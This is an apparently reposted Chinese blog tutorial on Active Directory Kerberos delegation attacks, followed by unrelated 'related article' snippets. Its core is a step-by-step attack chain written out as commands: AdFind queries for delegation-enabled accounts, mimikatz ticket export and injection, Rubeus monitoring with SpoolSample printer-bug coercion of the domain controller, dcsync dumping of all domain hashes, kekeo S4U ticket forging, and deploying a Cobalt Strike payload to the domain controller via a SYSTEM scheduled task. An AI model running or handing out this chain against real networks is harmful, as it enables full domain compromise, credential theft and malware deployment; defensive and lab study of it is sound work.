域内安全:委派攻击

news2024/9/27 21:30:01

目录

域委派

非約束性委派攻击:

主动访问:

被动访问(利用打印机漏洞)

约束性委派攻击:


域委派

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。 委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三 种:

1、非约束性委派

2、约束性委派

3、基于资源的约束性委派

委派攻击:

只能在域管上面设置委派

分为非约束性委派和约束性委派

在域内,只有主机账号和服务账号才能设置委派

主机账号:就是AD中的computer组内的计算机,就是加入域的计算机,也叫机器账号

服务账号:只是用来跑服务的,不能用来登录电脑,只是一个服务

非約束性委派攻击:

目的:如何让域管访问配置了非约束性委派的机器,如果域管访问了,那么就拿到了域管的TGT

从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境,或者结合打印机漏洞让域管用户强制回连以缓存 TGT,一个域内用户访问WEB服务,但是一些资源在文件服务上,这个时候就需要委派,需要web系统代表用户A去访问文件服务的资源

实验前提:控制了域内的一台机器,并且该机器的服务账号配置了非约束委派,

主动访问:

1、使用Adfind查询域内非约束委派机器账号

AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

2、我们先去访问域控,是不能访问的:

dir \\dc.hack.com\c$

3、这个时候如果域管访问了机器我们的内存中就会有域管的TGT,就可以访问任意机器了,在与域控上执行访问(在域控上执行)

主动访问:

net use \\PC-2008.HACK.COM /user:hack\administrator Qq123456

4、导出内存中的票据:

sekurlsa::tickets /export

5.注入票据:

mimikatz kerberos::ptt [0;54acdf]-2-0-60a10000-Administrator@krbtgtHACK.COM.kirbi

6.访问域控:

shell dir \\dc.hack.com\c$

7.如果成功,计划任务上线CS:

copy cs.exe \\dc.hack.com\C$

shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\cs.exe /ru system /f

shell schtasks /run /s dc.hack.com /i /tn "test"

成功上线:

被动访问(利用打印机漏洞)

一般域管不会主动访问我们,我们可以 利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证,使DC强制访问设置了非约束性委派的机器或者服务

利用:

先关闭防火墙

1、首先利用Rubeus在 机器上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器 DC 的登录信息

Rubeus.exe monitor /interval:1 /filteruser: DC$

2.再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行

SpoolSample.exe DC OA

3.Rubeus监听到票据,会得到来自域控的TGT票据:

4.导入票据:

Rubeus.exe ptt /ticket:票据

5.获取域内用户哈希:

lsadump::dcsync /all /csv

5.如果当前的用户是管理员就可以使用PTH攻击,如果是普通的域用户就使用黄金票据

使用计划任务,服务,或者无文件的powershell上线

copy 123.exe \\dc.hack.com\C$

shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\123.exe /ru system /f

shell schtasks /run /s dc.hack.com /i /tn "test"

约束性委派攻击:

1、S4u2self(Service for User to Self)

2、S4U2proxy(Service for User to Proxy)

这两个扩展都允许服务代表用户从KDC请求票证。

约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务

攻击流程:

用户(A)访问WEB系统(B),B代表A去向KDC申请访问B的TGT和ST1(使用S4u2self),用户A拿到了ST1就可以访问B了,如果在B上配置了约束性委派(A到C的约束委派),则B能够使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给KDC,KDC返回B一个访问C的票据ST2,这样B就可以以用户的身份访问C

实验前提:我们已经控制了电脑,发现该电脑配置了约束性的委派,并且可以读取到该电脑的机器用户的HASH值

我们现在域控上面配置约束性委派

先上线域内配置了约束性委派的机器

1、查询约束性委派的机器和用户

查询约束委派机器账户

AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(msdsallowedtodelegateto=*))" msds-allowedtodelegateto

2、使用mimikatz获取机器账户NTLM Hash:

mimikatz sekurlsa::logonpasswords

3、使用kekeo申请配置了约束委派机器账户2012-1$的TGT:

kekeo "tgt::ask /user:PC-ZS$ /NTLM:e018eb59a33bfed210afac21977d9d41 /domain:hack.com" "exit"

4.利用TGT通过伪造请求以administrator身份访问dc.hack.com的ST

shell kekeo "tgs::s4u /tgt:TGT_2012-1$@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi /user:Administrator@hack.com /service:cifs/dc.hack.com" "exit"

5.mimkatz注入:

mimikatz kerberos::ptt TGS_Administrator@hack.com@HACK.COM_cifs~dc.hack.com@HACK.COM.kirbi

访问域控:

shel dir \\dc.hack.com\c$

注意:约束性委派,是否能成功控制域控,取决于委派了什么服务

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2089275.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

机器学习——决策树模型

决策树原理 算法概述 从根节点开始一步步走到叶子节点(决策) 所有数据最终都会落到叶子节点,既可以做分类也可以做回归 例如上例,输入一个数据后,先判断他的年龄,然后再判断性别 在决策树中&#xff0c…

day45.动态规划

1035.不相交的线: 在两条独立的水平线上按给定的顺序写下 nums1 和 nums2 中的整数。 现在,可以绘制一些连接两个数字 nums1[i] 和 nums2[j] 的直线,这些直线需要同时满足: nums1[i] nums2[j] 且绘制的直线不与任何其他连线(非水…

基站定位系统的创新应用:企业管理的新利器

在现代企业的管理中,基站定位系统已经成为不可或缺的技术手段。通过这一系统,企业能够实时掌握物资、人员的位置和状态,提升管理效率和安全性。常达智能物联凭借深厚的技术积累和丰富的项目经验,为各类企业提供了创新的基站定位系…

如何使用ChatGPT,提示词篇之【编程代码】

一、 ChatGPT可以做什么? ChatGPT能做的事情非常多!它不仅仅是一个对话AI。以下是一些主要功能: 1. 回答问题:无论是学术问题、技术问题,还是生活琐事,ChatGPT都能提供帮助。 2. 写作助手:可以…

Angular17(3):Angular项目中引入iconfont

在Angular项目中引入Iconfont(图标字体)是一个常见的需求,用于在应用中添加丰富的图标资源。 Iconfont-阿里巴巴矢量图标库 1、点击进入官网,注册并登录 2、登陆成功后,首页的 资源管理 > 我的项目 点击进入 3、…

网络通信---四次挥手

文章目录 概述四次挥手第一次挥手:第二次挥手:第三次挥手:第四次挥手: 问题:为什么是四次,而不是三次?确保数据传输完成:防止数据丢失:避免旧连接干扰:防止死…

C#的继承

继承是面向对象程序设计中最重要的概念之一.继承允许我们根据一个类来定义另一个类,这使得创建和维护应用程序变得更容易,同时,也有利用重用代码和节省开发时间. 当创建一个类时,程序员不需要完全重新编写新的数据成员和成员函数只需要设计一个新的类,继承了已有的类的成员即可…

斯坦福UE4 C++课学习补充23:AI自定义任务

文章目录 一、自定义任务节点二、优化1. 子弹发射冷却2. 攻击时面朝玩家 一、自定义任务节点 本节需要创建自定义任务节点BTTask,实现小兵进入角色范围后进射击的功能。对于BTTaskNode的子类,我们需要在代码中重写ExecuteTask函数即可。返回值为EBTNode…

博客自建(带避坑指南)4:hexo文章页设置和动画魔改设置

咕咕了好久,这次终于来更新一下 看完上一篇博客: 博客自建(带避坑指南)3:简单的hexo网页界面设置-CSDN博客 想必你已经完成了头像、图片等一些基础的设置,但是这些改动都是比较基础的,现在我们…

【Java】MyBatis Plus 自动生成代码相关配置 (图解)

Java系列文章目录 补充内容 Windows通过SSH连接Linux 第一章 Linux基本命令的学习与Linux历史 文章目录 Java系列文章目录一、前言二、学习内容:三、问题描述四、解决方案:4.1 认识依赖4.1.2 模板依赖4.1.2 代码生成相关依赖 4.2 自动生成代码4.2.1 认识…

钉钉-即时通讯-工作通知

钉钉-即时通讯-工作通知 钉钉官方文档创建以及获取应用配置代码创建工作通知工具类创建钉钉消息实体类好了接下来就可以直接使用了 钉钉官方文档 https://open.dingtalk.com/document/orgapp/asynchronous-sending-of-enterprise-session-messages 创建以及获取应用配置 1.进入…

最大池化、非线性激活、线性层

一、最大池化原理 二、最大池化实例 import torch import torchvision from torch import nn from torch.nn import MaxPool2d from torch.utils.data import DataLoader from torch.utils.tensorboard import SummaryWriterdataset torchvision.datasets.CIFAR10("../c…

springboot+vue+mybatis计算机房屋服务平台+PPT+论文+讲解+售后

近些年来,随着科技的飞速发展,互联网的普及逐渐延伸到各行各业中,给人们生活带来了十分的便利,房屋中介服务平台利用计算机网络实现信息化管理,使整个房屋中介服务的发展和服务水平有显著提升。 本文拟采用Eclipse开发…

Datawhale X 李宏毅苹果书 AI夏令营第五期 DL进阶方向 Task2笔记

Datawhale X 李宏毅苹果书 向李宏毅学深度学习(进阶) 是 Datawhale 2024 年 AI 夏令营第五期的学习活动(“深度学习 进阶”方向) 往期task1链接:深度学习进阶-Task1 我做的task1的笔记博客:传送门 Datawhal…

Tensorflow实现深度学习8:猫狗识别

本文为为🔗365天深度学习训练营内部文章 原作者:K同学啊 一 导入数据 import matplotlib.pyplot as plt import tensorflow as tf # 支持中文 plt.rcParams[font.sans-serif] [SimHei] # 用来正常显示中文标签 plt.rcParams[axes.unicode_minus] Fals…

开放式耳机会漏音吗?开放式耳机测评

开放式耳机由于其独特的设计,允许声音在一定程度上自然地与外界环境融合。这种设计带来的一个常见误解是,人们可能会认为开放式耳机会有较大的声音泄露。然而,实际上,高质量的开放式耳机通过精心的声学设计,可以有效地…

Video Recording,视频录制

一.录屏软件 1.1 Xbox Game Bar 对于 win 来说,快捷键是 Win G,即可以启动 Xbot Game Bar 来进行录制。但是有一个比较致命的缺点就是,当我们切换页面的时候,录制就会失败,这款还是很适合于单页面的视频录制。 1.2 …

Python以及Python历史版本的安装的安装

文章目录 前言Python的安装Python历史版本下载总结 前言 Python 是一种广泛使用的高级编程语言,以其简洁易读的语法和强大的功能而受到开发者的青睐。从数据分析到网页开发,从自动化脚本到人工智能,Python 的应用领域几乎无处不在。然而&…

深度学习论文被评“创新性不足、工作量不够”怎么办?

投稿时遇到审稿人提出文章创新性不足、工作量不够,该怎么办? 今天我就来分享三种应对方法:下采样策略、归一化策略、改进网络模型。 改进网络模型 增加创新性: 从模型架构和训练策略这两方面入手: 模型架构创新&a…

c++ 135 错误: 成员函数的作用 内存四区

1。 类中不写成员函数 现在要求c1 的属性 原来怎么求的: 虽然把r改成10 但是没有执行area的那句话 area还是一个未知变量 当执行c1.area时 只是内存变量标示的内存空间拿值 跟r10 没有半毛钱关系 面向过程转换成面向对象